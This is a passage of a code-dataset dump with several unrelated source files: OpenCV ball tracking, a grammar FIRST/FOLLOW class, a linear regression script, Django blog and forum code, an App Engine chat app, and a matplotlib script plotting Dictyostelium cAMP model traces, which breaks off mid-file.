cv2.CHAIN_APPROX_SIMPLE)\n\tcnts = imutils.grab_contours(cnts)\n\n\t# only if at least one contour found\n\tif len(cnts) > 0:\n\n\t\t# find largest contour, the circle enclosing it, and its centroid\n\t\tc = max(cnts, key=cv2.contourArea)\n\t\t((x, y), radius) = cv2.minEnclosingCircle(c)\n\t\tM = cv2.moments(c)\n\t\tcenter = (int(M[\"m10\"] / (M[\"m00\"] + 0.0000001)), int(M[\"m01\"] / (M[\"m00\"] + 0.0000001))) # this is the center\n\t\tprevCenter = center # update the previous center\n\n\t\t# if this is the first loop don't include newline in the position string\n\t\tif(firstLoop):\n\t\t\tcenterStr = str(prevCenter[0])+','+'0,'+str(prevCenter[1])\n\t\t\tfirstLoop = False\n\t\telse:\n\t\t\tcenterStr = '\\n' + str(prevCenter[0])+','+'0,'+str(prevCenter[1])\n\t\t\n\t\t# write string for position of center of object to text file\n\t\tfile.write(centerStr)\n\t\tfile.flush()\n\n\t# update the points deque\n\tpts.appendleft(center) \n\t\n # loop over points to display in object's trail \n\tfor i in range(1, len(pts)):\n\t\t# ignore if this or previous point are None\n\t\tif pts[i - 1] is None or pts[i] is None:\n\t\t\tcontinue\n\n\t\t# calculate line thickness and display trail of object\n\t\tthickness = int(np.sqrt(args[\"buffer\"] / float(i + 1)) * 2.5)\n\t\tcv2.line(frame, pts[i - 1], pts[i], (0, 0, 255), thickness)\n\n\t# show this frame\n\tcv2.imshow(\"Frame\", frame)\n\tkey = cv2.waitKey(1) & 0xFF\n\n\t# if the 'q' key is pressed, stop the loop\n\tif key == ord(\"q\"):\n\t\tbreak\n\n# if we are not using a video file, stop the camera video stream\nif not args.get(\"video\", False):\n\tvs.stop()\n\n# otherwise, release the camera\nelse:\n\tvs.release()\n\n# wait, then close all windows\ncv2.waitKey(3000)\ncv2.destroyAllWindows()","sub_path":"ball_tracking_feed1.py","file_name":"ball_tracking_feed1.py","file_ext":"py","file_size_in_byte":3728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"127845208","text":"from model.Terminal import Terminal\nfrom util.Util import Util\n\n\nclass FirstFollow:\n def __init__(self, container, initial):\n self.first = {}\n self.follow = {}\n self.initial = initial\n self.container = container\n self.__remainingNonTerminals = []\n self.firstAndFollow()\n\n def firstAndFollow(self):\n self.__remainingNonTerminals = self.container.getNonTerminals()\n while len(self.__remainingNonTerminals) > 0:\n self.findFirstByNonTerminal(self.__remainingNonTerminals[0])\n self.__remainingNonTerminals = self.container.getNonTerminals()\n while len(self.__remainingNonTerminals) > 0:\n self.findFollowByNonTerminal(self.__remainingNonTerminals[0])\n\n def findFirstByNonTerminal(self, nonTerminal):\n self.first[nonTerminal] = []\n for expression in self.container.getDict()[nonTerminal]:\n if expression[0].isTerminal():\n self.first[nonTerminal].append(expression[0])\n else:\n if not expression[0].c in self.first.keys():\n self.findFirstByNonTerminal(expression[0].c)\n self.first[nonTerminal] += self.first[expression[0].c]\n self.first[nonTerminal] = list(set(self.first[nonTerminal]))\n self.__remainingNonTerminals.remove(nonTerminal)\n\n def findFollowByNonTerminal(self, nonTerminal):\n self.follow[nonTerminal] = []\n if nonTerminal == self.initial:\n self.follow[self.initial] = [Terminal(\"$\")]\n for leftPart in self.container.getDict().keys():\n for expression in self.container.getDict()[leftPart]:\n if Util.containsNonTerminal(nonTerminal, expression):\n if Util.indexOfNonTerminal(nonTerminal, expression) == len(expression) - 1:\n if leftPart != nonTerminal:\n if leftPart in self.__remainingNonTerminals:\n self.findFollowByNonTerminal(leftPart)\n self.follow[nonTerminal] += self.follow[leftPart]\n else:\n if expression[Util.indexOfNonTerminal(nonTerminal, expression) + 1].isTerminal():\n self.follow[nonTerminal].append(expression[Util.indexOfNonTerminal(nonTerminal, expression) + 1])\n else:\n self.follow[nonTerminal] += self.first[expression[Util.indexOfNonTerminal(nonTerminal, expression) + 1].c]\n self.follow[nonTerminal] = list(set(self.follow[nonTerminal]))\n self.__remainingNonTerminals.remove(nonTerminal)\n\n def __str__(self):\n res = '{:15} | {:15} | {:15}\\n'.format('', 'First', \"Follow\")\n for x in self.container.getNonTerminals():\n tmpResFirst = \"\"\n for t in self.first[x]:\n tmpResFirst += t.c + \", \"\n tmpResFirst = tmpResFirst[:len(res)-2]\n tmpResFollow = \"\"\n for t in self.follow[x]:\n tmpResFollow += t.c + \", \"\n tmpResFollow = tmpResFollow[:len(res)-2]\n res += \"-\" * 51 + \"\\n\"\n res += '{:15} | {:15} | {:15}\\n'.format(x, tmpResFirst, tmpResFollow)\n return res\n","sub_path":"service/FirstFollow.py","file_name":"FirstFollow.py","file_ext":"py","file_size_in_byte":3246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"602743280","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Oct 20 19:11:51 2019\r\n\r\n@author: Prakhar\r\n\"\"\"\r\n\r\nimport numpy as np \r\nimport pandas as pd \r\nimport matplotlib.pyplot as plt\r\nimport math\r\n\r\n#getting the data from the file \r\nfilename = \"3D_spatial_network.csv\"\r\ndf = pd.read_csv(filename) \r\n\r\n#converting the data into numpy array and splitting into test and training data \r\ndata = df.values\r\nnp.random.shuffle(data)\r\n\r\n# data normalisation\r\ndata[0:,1]= (data[0:,1] -np.mean(data[0:,1], dtype=np.float64)) / np.std(data[0:,1], dtype=np.float64)\r\ndata[0:,2]= (data[0:,2] -np.mean(data[0:,2], dtype=np.float64)) / np.std(data[0:,2], dtype=np.float64)\r\ndata[0:,3]= (data[0:,3] -np.mean(data[0:,3], dtype=np.float64)) / np.std(data[0:,3], dtype=np.float64)\r\n\r\ntrain_data = data[0:304411,1:4] #ignoring first column\r\ntest_data = data[304411: ,1:4] # 0 to 304411 is 70% of data\r\n\r\n#sepearting x values fromm training\r\nx_values = train_data[0:30411,0:2] \r\n\r\n#genrating column of ones , for taking care of multiplying w0 to feauture matrix\r\nfirst = np.ones((30411,1))\r\n\r\n#adding column of ones to x_values ,this is for w0 \r\nx_values = np.concatenate([first,x_values],axis=1)\r\n\r\n# transpose of feature matrix\r\nx_transpose = x_values.transpose()\r\n\r\n#y values \r\ny_values = train_data[0:30411,2]\r\n\r\n#multiplication of x and x transpose\r\nx_cross_x_transpose = np.dot(x_transpose,x_values)\r\n\r\n#inverse of multiplication of x and x transpose \r\nmul_inverse = np.linalg.inv(x_cross_x_transpose)\r\n\r\n# multiplication of inverse and x trnaspose\r\nintermediate = np.dot(mul_inverse,x_transpose)\r\n\r\n#final weight matrix\r\nweights = np.dot(intermediate,y_values)\r\n\r\n#calculating mean for genrating r-squared \r\nmean = np.mean(test_data[0:,2], dtype=np.float64) \r\n\r\nres_sum=0 # residual sum \r\ntot_sum=0 #total sum \r\ny_pred = []\r\ny_true = []\r\n\r\n#calulating r squared matrix \r\nfor i in range(len(test_data)):\r\n predicted_value = weights[0] + weights[1]*test_data[i][0] + weights[2]*test_data[i][1]\r\n y_pred.append(predicted_value)\r\n y_true.append(test_data[i][2])\r\n p= test_data[i][2] - predicted_value \r\n q = test_data[i][2] - mean\r\n res_sum+=p**2\r\n tot_sum+=q**2\r\n \r\nprint(\"r2 is : \" , 1-res_sum/tot_sum)\r\nprint(\"\\n\")\r\n\r\n\r\n#calculating RMSE value \r\nrmse =0 \r\nfor i in range(len(y_pred)):\r\n rmse += pow((y_pred[i] - y_true[i]),2)\r\n\r\nrmse/=len(y_pred) \r\n\r\nrmse = math.sqrt(rmse) \r\nprint(\"RMSE value is : \" , rmse)\r\n\r\n","sub_path":"Linear Regression/assignment1_normal_equations.py","file_name":"assignment1_normal_equations.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"31994715","text":"from django.conf.urls import patterns, url\nfrom django.http import HttpResponse\n\nurlpatterns = patterns('blog.views',\n url(r'^$', 'blogHome', name=\"bloghome\"),\n url(r'^(?P[-\\w]+)/$','blogPost', name=\"blogpost\"),\n url(r'^kategori/(?P[-\\w]+)/','blogCategory', name=\"blogcategory\"),\n url(r'^etiket/(?P[-\\w\\s]+)/','blogTag', name=\"blogtag\"),\n url(r'^search.py','blogSearch', name=\"blogSearch\"),\n (r'^robots\\.txt$', lambda r: HttpResponse(\"Sitemap: http://mrtcndnlr.com/sitemap.xml\\n\\nUser-agent: *\\nDisallow: /static/\\nDisallow: /*.js$\\nDisallow: /*.css$\\nAllow: / \", mimetype=\"text/plain\"))\n)\n\n","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"65107764","text":"from django.contrib.auth.models import User\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, redirect\nfrom django.http import HttpResponse, Http404\nfrom .models import Board, Topic, Post\nfrom django.shortcuts import get_object_or_404\nfrom .forms import NewTopicForm, PostForm\nfrom django.db.models import Count\n\n# Create your views here.\n\ndef home(request):\n\tboards = Board.objects.all()\n\tcontext = {\n\t\t'boards':boards,\n\t}\n\treturn render(request, 'home.html', context)\n\n\ndef board_topics(request, pk):\n\ttry:\n\t\tboard = Board.objects.get(pk=pk)\n\texcept:\n\t\traise Http404\n\n\tcontext = {\n\t\t'board':board,\n\t}\n\treturn render(request, 'topics.html', context)\n\n# This is an example for WITHOUT USING FORMS.PY\n\n# def new_topic(request,pk):\n# \tboard = get_object_or_404(Board, pk=pk)\n# \tif request.method=='POST':\n# \t\tsubject = request.POST['subject']\n# \t\tmessage = request.POST['message']\n\n# \t\tuser = User.objects.first() # TODO: get the currently logged user\n\n# \t\ttopic = Topic.objects.create(subject=subject, board=board, starter=user)\n# \t\tpost = Post.objects.create(message=message, topics=topic, created_by=user)\n\n# \t\treturn redirect('boards', pk=board.pk)\n\n# \tcontext = {\n# \t\t'board':board,\n# \t}\n# \treturn render(request,'new_topic.html', context)\n# -------------------------------------------------------------------\n\n# USING FORMS.PY\n@login_required\ndef new_topic(request,pk):\n\tboard=get_object_or_404(Board, pk=pk)\n\n\tif request.method=='POST':\n\t\tform = NewTopicForm(request.POST)\n\t\tif form.is_valid():\n\t\t\ttopic = form.save(commit=False)\n\t\t\ttopic.board=board\n\t\t\ttopic.starter = request.user\n\t\t\ttopic.save()\n\t\t\tpost=Post.objects.create(message=form.cleaned_data.get('message'), topics=topic, created_by=request.user)\n\t\t\treturn redirect('topic_posts', pk=pk, topic_pk=topic.pk)\n\telse:\n\t\tform = NewTopicForm()\n\t\n\tcontext = {\n\t'board':board,\n\t'form':form,\n\t}\n\n\treturn render(request, 'new_topic.html', context)\n\ndef topic_posts(request, pk, topic_pk):\n\ttopic = get_object_or_404(Topic, pk=pk)\n\treturn render(request, 'topic_posts.html', {'topic':topic})\n\n@login_required\ndef reply_topic(request, pk, topic_pk):\n\ttopic = get_object_or_404(Topic, board__pk=pk, pk=topic_pk)\n\tif request.method=='POST':\n\t\tform = PostForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.topic = topic\n\t\t\tpost.created_by = request.user\n\t\t\tpost.save()\n\t\t\treturn redirect('topic_posts', pk=pk, topic_pk=topic_pk)\n\telse:\n\t\tform = PostForm()\n\t\n\tcontext = {\n\t'topic':topic,\n\t'form':form,\n\t}\n\n\treturn render(request, 'new_topic.html', context) \n\ndef board_topics(request, pk):\n\tboard = get_object_or_404(Board, pk=pk)\n\ttopics = board.topics.order_by('-last_updated').annotate(replies= Count('posts')-1)\n\treturn render(request, 'topics.html', {'board':board, 'topics':topics})\n\n\n\n","sub_path":"boards/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"401241204","text":"#!/usr/bin/env python\n\nimport os\nimport urllib\nimport jinja2\nimport webapp2\nimport uuid\nimport json\n\nfrom google.appengine.api import users\nfrom google.appengine.ext import ndb\nfrom google.appengine.api import channel\n\nJINJA_ENVIRONMENT = jinja2.Environment(\n\tloader=jinja2.FileSystemLoader(os.path.dirname(__file__)),\n\textensions=['jinja2.ext.autoescape'],\n\tautoescape=True)\n\ndef chatroom_key(chatroom_name):\n\treturn ndb.Key('Chatroom', chatroom_name)\n\ndef send_message_to_chatroom_connections(content, chatroom):\n\tndb.get_context().set_memcache_policy(False)\n\tndb.get_context().set_cache_policy(False)\n\t\n\tconnections_query = Connection.query(ancestor=chatroom_key(chatroom))\n\tconnections = connections_query.fetch(40)\n\n\tauthor = users.get_current_user().nickname()\n\tmessage = json.dumps({'content': content,'author': author})\n\n\tfor c in connections:\n\t\tchannel.send_message(c.channel_id, message)\n\nclass ChatLine(ndb.Model):\n\tauthor = ndb.UserProperty()\n\tcontent = ndb.StringProperty(indexed=False)\n\tdate = ndb.DateTimeProperty(auto_now_add=True)\n\nclass Connection(ndb.Model):\n\tchannel_id = ndb.StringProperty()\n\tdate = ndb.DateTimeProperty(auto_now_add=True)\n\nclass ChatPage(webapp2.RequestHandler):\n\tdef get(self, chatroom=\"main\"):\n\n\t\tchannel_id = uuid.uuid4().hex\n\t\ttoken = channel.create_channel(channel_id)\n\t\tckey = chatroom_key(chatroom)\n\n\t\t# Store the connection\n\t\tconnection = Connection(parent=ckey)\n\t\tconnection.channel_id = channel_id\n\t\tconnection.put()\n\n\t\ttemplate_values = {\n\t\t\t'chatroom': urllib.quote_plus(chatroom),\n\t\t\t'token': token\n\t\t}\n\n\t\ttemplate = JINJA_ENVIRONMENT.get_template('index.html')\n\t\tself.response.write(template.render(template_values))\n\nclass ChatPost(webapp2.RequestHandler):\n\tdef post(self):\n\t\tchatroom = self.request.get('chatroom')\n\t\tcontent = self.request.get('content')\n\n\t\tsend_message_to_chatroom_connections(content, chatroom)\n\nclass ConnectionDisconnect(webapp2.RequestHandler):\n\tdef post(self):\n\t\tchannel_id = self.request.get('from')\n\t\tkey_query = ndb.gql(\"SELECT __key__ FROM Connection WHERE channel_id = :1\", channel_id)\n\t\tkey_to_delete = key_query.get()\n\t\tkey_to_delete.delete()\n\napp = webapp2.WSGIApplication([\n\t('/', ChatPage),\n\t('/chatpost', ChatPost),\n\t('/(\\w+)', ChatPage),\n\t('/_ah/channel/disconnected/', ConnectionDisconnect)\n], debug=True)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"617810642","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 3 14:53:03 2020\n\n@author: cqhuyan\nplotting script for figure 3- pop behaviors\n\n\"\"\"\n# import packages\n\nimport os\nimport numpy as np\nimport random\nimport math\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport pandas as pd\n\n# Normalization parameters\n# from NormParam import *\nfrom NB_pop_functions import plot_POP_oscillation\n#Normalization parameters\nfrom Params import NormParams\nfor key,val in NormParams.items():\n exec(key + '=val')\n \nfrom NB_pop_functions import * \nfrom iocustom import import_npz\n\n# set up new default font\nimport matplotlib\nfont = {'family' : 'Arial'}\nmatplotlib.rc('font', **font)\n\ndef cm2inch(value):\n return value/2.54\n\n#%% imaging colors\n# original version colors\n# colors = np.array([[69,183,204],\n# [255,162,111],\n# [10,68,12],\n# [110,60,178],\n# [222,76,105],\n# [59,34,255], # color for experiments\n# [35,145,40]])# color for models\n# goldcolor = (colors[0,:]+(255-colors[0,:])*0.1)/255 # tint factor, larger means more \"whiteness\" to the original color\n# maedacolor = (colors[1,:]+(255-colors[1,:])*0)/255\n# gregorcolor = (colors[2,:]+(255-colors[2,:])*0.4)/255\n# sgrocolor = (colors[3,:]+(255-colors[3,:])*0.3)/255\n# kaminocolor = (colors[4,:]+(255-colors[4,:])*0.2)/255\n# colorcombo1\ncolors = np.array([[240,145,147],\n [240,206,109],\n [130,191,91],\n [150,110,184],\n [125,208,227],\n [59,34,255], # color for experiments\n [35,145,40]])# color for models\ngoldcolor = (colors[0,:]+(255-colors[0,:])*0)/255 # tint factor, larger means more \"whiteness\" to the original color\nmaedacolor = (colors[1,:]+(255-colors[1,:])*0)/255\ngregorcolor = (colors[2,:]+(255-colors[2,:])*0)/255\nsgrocolor = (colors[3,:]+(255-colors[3,:])*0)/255\nkaminocolor = (colors[4,:]+(255-colors[4,:])*0)/255\n\n# color combo 2\n# colors = np.array([[168,69,154],\n# [129,129,129],\n# [87,96,171],\n# [90,173,90],\n# [105,201,205],\n# [59,34,255], # color for experiments\n# [35,145,40]])# color for models\n# goldcolor = (colors[0,:]+(255-colors[0,:])*0)/255 # tint factor, larger means more \"whiteness\" to the original color\n# maedacolor = (colors[1,:]+(255-colors[1,:])*0)/255\n# gregorcolor = (colors[2,:]+(255-colors[2,:])*0)/255\n# sgrocolor = (colors[3,:]+(255-colors[3,:])*0)/255\n# kaminocolor = (colors[4,:]+(255-colors[4,:])*0)/255\n\nexpcolor = 'black' #(colors[5,:]+(255-colors[5,:])*0)/255\nsimcolor = 'gray'# (colors[6,:]+(255-colors[6,:])*0)/255\n\n#%% plotting font sizes\nABCD_font_size = 25\nabcd_font_size = 25\nlabel_font_size=16\ntitle_font_size = 16\nsublabel_font_size = 14\ntrace_width=2\ntick_font_size=14\ntext_size = 10.3\n\nfig = plt.figure(figsize=(22,11))\ngrid = plt.GridSpec(13, 14, wspace=0.8, hspace=0.9)\n\n# population add cAMP, with single cell noise\n# Experimental data\nmy_dir = r'C:/Users/ellin/Dropbox/AACP Science/Dicty model review drafts/figures/'\nSgro2015Figure6excel = pd.read_excel(my_dir+r'Sgro2015DataFormattedforPython.xlsx',\n sheet_name='Figure6')\n# load saved npz output file \nimport_npz('../model_outputs/Fig8_pop_add_cAMP_042320.npz',globals())\n\n# experiment\naxA01= fig.add_subplot(grid[0:2, 0:3])\naxA01.plot(Sgro2015Figure6excel[\"Times (min)\"],Sgro2015Figure6excel[\"Low External cAMP Mean Trace\"],\n color = 'k', linewidth=trace_width)\naxA01.axvspan(60, 120, alpha=0.2, color= 'grey')\naxA01.set_ylim([-0.1,0.6]); axA01.set_xlim([0,120])\naxA01.tick_params(grid_linewidth = tick_font_size, labelsize = tick_font_size)\naxA01.text(0.71,0.82,' Low external cAMP, \\n 5-10nM', horizontalalignment='center',verticalalignment='center',\n transform = axA01.transAxes, color = 'k', fontsize= text_size)\naxA01.set_title('Experiment',size=title_font_size)\n\naxA02= fig.add_subplot(grid[2:4, 0:3])\naxA02.plot(Sgro2015Figure6excel[\"Times (min)\"],Sgro2015Figure6excel[\"Intermediate External cAMP Mean Trace\"],\n color = 'k', linewidth=trace_width)\naxA02.axvspan(60, 120, alpha=0.2, color = 'grey')\naxA02.set_ylim([-0.1,0.6]); axA02.set_xlim([0,120])\naxA02.tick_params(grid_linewidth = 15, labelsize = tick_font_size)\naxA02.text(0.71,0.82,' Intermediate external \\n cAMP, 10-20nM', horizontalalignment='center',verticalalignment='center',\n transform = axA02.transAxes, color = 'k', fontsize=text_size)\naxA02.set_ylabel('FRET Signal, A.U.', size=sublabel_font_size)\n\naxA03= fig.add_subplot(grid[4:6, 0:3])\naxA03.plot(Sgro2015Figure6excel[\"Times (min)\"],Sgro2015Figure6excel[\"High External cAMP Mean Trace\"],\n color = 'k', linewidth=trace_width)\naxA03.axvspan(60, 120, alpha=0.2, color='grey')\naxA03.set_ylim([-0.1,0.6]); axA03.set_xlim([0,120])\naxA03.tick_params(grid_linewidth = tick_font_size, labelsize = tick_font_size)\naxA03.text(0.71,0.75,' High external cAMP, \\n 100nM', horizontalalignment='center',verticalalignment='center',\n transform = axA03.transAxes, color = 'k', fontsize=text_size)\n# axA03.set_xlabel('Time (min)', size=sublabel_font_size)\n# axA01.text(-0.06 , 1.2, '(a)',\n# horizontalalignment='center',verticalalignment='center',\n# transform = axA01.transAxes, color = expcolor, fontsize=abcd_font_size)\n# Goldbeter 1987\naxA11= fig.add_subplot(grid[0:2, 3:6])\nfor count in range(5):\n axA11.plot(t_plot_Goldbeter,b_traces_norm[0,count,:],\n color='darkgrey',alpha=0.5, linewidth=trace_width-1)\naxA11.plot(t_plot_Goldbeter,b_traces_norm_norm_mean[0,:], color= goldcolor,linewidth=trace_width)\naxA11.text(0.73,0.88,r'Low $cAMP_{e}$ input', ha='center',va='center',\n transform = axA11.transAxes, color = 'k', fontsize= text_size)\n# ax.set_xlabel(r'$cAMP_{ext}$ input='+str(alphafval_arr[i])+ 'nM', fontsize=label_font_size)\naxA11.tick_params(grid_linewidth = tick_font_size, labelsize = tick_font_size)\naxA11.axvspan(15, 30, alpha=0.2, color= simcolor)\naxA11.set_xlim([0,30]); axA11.set_ylim([-0.35,1.75])\n\n# axA11.text(-0.06 , 1.2, '(b)',\n# horizontalalignment='center',verticalalignment='center',\n# transform = axA11.transAxes, color = simcolor, fontsize=abcd_font_size)\naxA11.set_title('Receptor\\n desensitization',color = goldcolor, size=title_font_size)\n\naxA12= fig.add_subplot(grid[2:4, 3:6])\nfor count in range(5):\n axA12.plot(t_plot_Goldbeter, b_traces_norm[1,count,:],\n color='darkgrey',alpha=0.5, linewidth=trace_width-1)\naxA12.plot(t_plot_Goldbeter, b_traces_norm_norm_mean[1,:], color=goldcolor,linewidth=trace_width)\n \n\naxA12.text(0.68,0.88,r'Intermediate $cAMP_{e}$'+' input', ha='center',va='center',\n transform = axA12.transAxes, color = 'k', fontsize= text_size)\n# ax.set_xlabel(r'$cAMP_{ext}$ input='+str(alphafval_arr[i])+ 'nM', fontsize=label_font_size)\naxA12.tick_params(grid_linewidth = tick_font_size, labelsize = tick_font_size)\naxA12.axvspan(15, 30, alpha=0.2, color=simcolor)\naxA12.set_xlim([0,30]); axA12.set_ylim([-0.35,1.75])\n\naxA13= fig.add_subplot(grid[4:6, 3:6])\nfor count in range(5):\n axA13.plot(t_plot_Goldbeter, b_traces_norm[2,count,:],\n color='darkgrey',alpha=0.5, linewidth=trace_width-1)\naxA13.plot(t_plot_Goldbeter, b_traces_norm_norm_mean[2,:], color=goldcolor,linewidth=trace_width)\naxA13.text(0.73,0.88,r'High $cAMP_{e}$ input', ha='center',va='center',\n transform = axA13.transAxes, color = 'k', fontsize= text_size)\n# ax.set_xlabel(r'$cAMP_{ext}$ input='+str(alphafval_arr[i])+ 'nM', fontsize=label_font_size)\naxA13.tick_params(grid_linewidth = 15, labelsize = tick_font_size)\naxA13.axvspan(15, 30, alpha=0.2, color=simcolor)\naxA13.set_xlim([0,30]); axA13.set_ylim([-0.35,1.75])\n\n# Maeda 2004\naxA21= fig.add_subplot(grid[0:2, 6:9])\nfor count in range(5):\n axA21.plot(t_plot_Maeda_short,cAMPi_traces_norm[0,count,:],\n color='darkgrey',alpha=0.5, linewidth=trace_width-1)\naxA21.plot(t_plot_Maeda_short, cAMPi_traces_norm_mean[0,:], color=maedacolor,linewidth=trace_width)\naxA21.text(0.73,0.88,r'Low $cAMP_{e}$ input', ha='center',va='center',\n transform = axA21.transAxes, color = 'k', fontsize= text_size)\naxA21.tick_params(grid_linewidth = tick_font_size, labelsize = tick_font_size)\naxA21.axvspan(15, 30, alpha=0.2, color = simcolor)\naxA21.set_xlim([0,30]); axA21.set_ylim([0.1,0.95])\n\n# axA21.text(-0.06 , 1.2, '(c)',\n# horizontalalignment='center',verticalalignment='center',\n# transform = axA21.transAxes, color = simcolor, fontsize=abcd_font_size)\n# axA21.set_title('Coupled Direct-indirect negative feedback',color = maedacolor, size=title_font_size)\naxA21.set_title('CDINFB',color = maedacolor, size=title_font_size)\n\naxA22= fig.add_subplot(grid[2:4, 6:9])\nfor count in range(5):\n axA22.plot(t_plot_Maeda_short,cAMPi_traces_norm[1,count,:],\n color='darkgrey',alpha=0.5, linewidth=trace_width-1)\naxA22.plot(t_plot_Maeda_short, cAMPi_traces_norm_mean[1,:], \n color= maedacolor,linewidth=trace_width)\naxA22.text(0.68,0.88,r'Intermediate $cAMP_{e}$ input', ha='center',va='center',\n transform = axA22.transAxes, color = 'k', fontsize= text_size)\naxA22.tick_params(grid_linewidth = tick_font_size, labelsize = tick_font_size)\naxA22.axvspan(15, 30, alpha=0.2, color=simcolor)\naxA22.set_xlim([0,30]); axA22.set_ylim([0.1,0.95])\n\naxA23= fig.add_subplot(grid[4:6, 6:9])\nfor count in range(5):\n axA23.plot(t_plot_Maeda_short,cAMPi_traces_norm[2,count,:],\n color= 'darkgrey',alpha=0.5, linewidth=trace_width-1)\naxA23.plot(t_plot_Maeda_short, cAMPi_traces_norm_mean[2,:], \n color=maedacolor,linewidth=trace_width)\naxA23.text(0.76,0.88,r'High $cAMP_{e}$ input', ha='center',va='center',\n transform = axA23.transAxes, color = 'k', fontsize= text_size)\naxA23.tick_params(grid_linewidth = tick_font_size, labelsize = tick_font_size)\naxA23.axvspan(15, 30, alpha=0.2, color = simcolor)\naxA23.set_xlim([0,30]); axA23.set_ylim([0.1,0.95])\n\n# Gregor 2010\naxA31= fig.add_subplot(grid[7:9, 0:3])\naxA31.plot(t_plot_Gregor[1:],campCyto_traces[0,1:] , color=gregorcolor,linewidth=trace_width) \nfor count in range(5):\n # campCyto_traces_single_cell[0,count,:] = campCyto_traces_single_cell[0,count,:]/np.amax(campCyto_traces_single_cell[0,count,:])\n axA31.plot(t_plot_Gregor,campCyto_traces_single_cell[0,count,:],\n color='darkgrey',alpha=0.5, linewidth=trace_width-1)\n \naxA31.text(0.73,0.88,r'Low $cAMP_{e}$ input', ha='center',va='center',\n transform = axA31.transAxes, color = 'k', fontsize= text_size)\naxA31.tick_params(grid_linewidth = tick_font_size, labelsize = tick_font_size)\naxA31.axvspan(15, 30, alpha=0.2, color= simcolor)\naxA31.set_xlim([0,30]); axA31.set_ylim([-0.35,1.75])\n\n# axA31.text(-0.06 , 1.2, '(d)', ha='center',va='center',\n# transform = axA31.transAxes, color = simcolor, fontsize=abcd_font_size)\naxA31.set_title('Phase oscillator',color = gregorcolor, size=title_font_size)\n\naxA32= fig.add_subplot(grid[9:11, 0:3])\naxA32.plot(t_plot_Gregor[1:],campCyto_traces[1,1:], color=gregorcolor,linewidth=trace_width)\nfor count in range(5):\n # campCyto_traces_single_cell[1,count,:] = campCyto_traces_single_cell[1,count,:]/np.amax(campCyto_traces_single_cell[1,count,:])\n axA32.plot(t_plot_Gregor,campCyto_traces_single_cell[1,count,:],\n color='darkgrey',alpha=0.5, linewidth=trace_width-1)\naxA32.text(0.68,0.88,r'Intermediate $cAMP_{e}$'+' input', ha='center',va='center',\n transform = axA32.transAxes, color = 'k', fontsize= text_size)\naxA32.tick_params(grid_linewidth =tick_font_size, labelsize = tick_font_size)\naxA32.axvspan(15, 30, alpha=0.2, color = simcolor)\naxA32.set_xlim([0,30]); axA32.set_ylim([-0.35,1.75])\n\naxA33= fig.add_subplot(grid[11:, 0:3])\naxA33.plot(t_plot_Gregor[1:],campCyto_traces[2,1:], color= gregorcolor, linewidth=trace_width)\nfor count in range(5):\n # campCyto_traces_single_cell[2,count,:] = campCyto_traces_single_cell[2,count,:]/np.amax(campCyto_traces_single_cell[2,count,:])\n axA33.plot(t_plot_Gregor,campCyto_traces_single_cell[2,count,:],\n color='darkgrey',alpha=0.5, linewidth=trace_width-1)\naxA33.text(0.73,0.88,r'High $cAMP_{e}$ input', ha='center',va='center',\n transform = axA33.transAxes, color = 'k', fontsize= text_size)\naxA33.tick_params(grid_linewidth = tick_font_size, labelsize = tick_font_size)\naxA33.axvspan(15, 30, alpha=0.2, color=simcolor)\naxA33.set_xlim([0,30]); axA33.set_ylim([-0.35,1.75])\n\n# Sgro 2015\naxA41= fig.add_subplot(grid[7:9, 3:6])\nfor count in range(5):\n axA41.plot(t_plot_Sgro,A_traces_single_cell[0,count,:],\n color= 'darkgrey' ,alpha=0.3, linewidth=trace_width-1)\naxA41.plot(t_plot_Sgro,A_traces[0,:], color= sgrocolor,linewidth=trace_width)\naxA41.text(0.73,0.88,r'Low $cAMP_{e}$ input', ha='center',va='center',\n transform = axA41.transAxes, color = 'k', fontsize= text_size)\naxA41.tick_params(grid_linewidth = tick_font_size, labelsize = tick_font_size)\naxA41.axvspan(15, 30, alpha=0.2, color=simcolor)\naxA41.set_xlim([0,30]); axA41.set_ylim([-0.35,1.75])\n\n# axA41.text(-0.06 , 1.2, '(e)',ha='center',va='center',\n# transform = axA41.transAxes, color = simcolor, fontsize=abcd_font_size)\n# axA41.set_title('Interlocking positive-\\n negative feedback',color = sgrocolor, size=title_font_size)\naxA41.set_title('IPNFB',color = sgrocolor, size=title_font_size)\n\naxA42= fig.add_subplot(grid[9:11, 3:6])\nfor count in range(5):\n axA42.plot(t_plot_Sgro,A_traces_single_cell[1,count,:],\n color='darkgrey',alpha=0.3, linewidth=trace_width-1)\naxA42.plot(t_plot_Sgro,A_traces[1,:], color=sgrocolor,linewidth=trace_width)\n \n\naxA42.text(0.68,0.88,r'Intermediate $cAMP_{e}$'+' input', ha='center',va='center',\n transform = axA42.transAxes, color = 'k', fontsize= text_size)\naxA42.tick_params(grid_linewidth = tick_font_size, labelsize = tick_font_size)\naxA42.axvspan(15, 30, alpha=0.2, color=simcolor)\naxA42.set_xlim([0,30]); axA42.set_ylim([-0.35,1.75])\n\naxA43= fig.add_subplot(grid[11:, 3:6])\nfor count in range(5):\n axA43.plot(t_plot_Sgro,A_traces_single_cell[2,count,:],\n color='darkgrey',alpha=0.3, linewidth=trace_width-1)\naxA43.plot(t_plot_Sgro,A_traces[2,:], color=sgrocolor,linewidth=trace_width)\naxA43.text(0.73,0.88,r'High $cAMP_{e}$ input', ha='center',va='center',\n transform = axA43.transAxes, color = 'k', fontsize= text_size)\n# 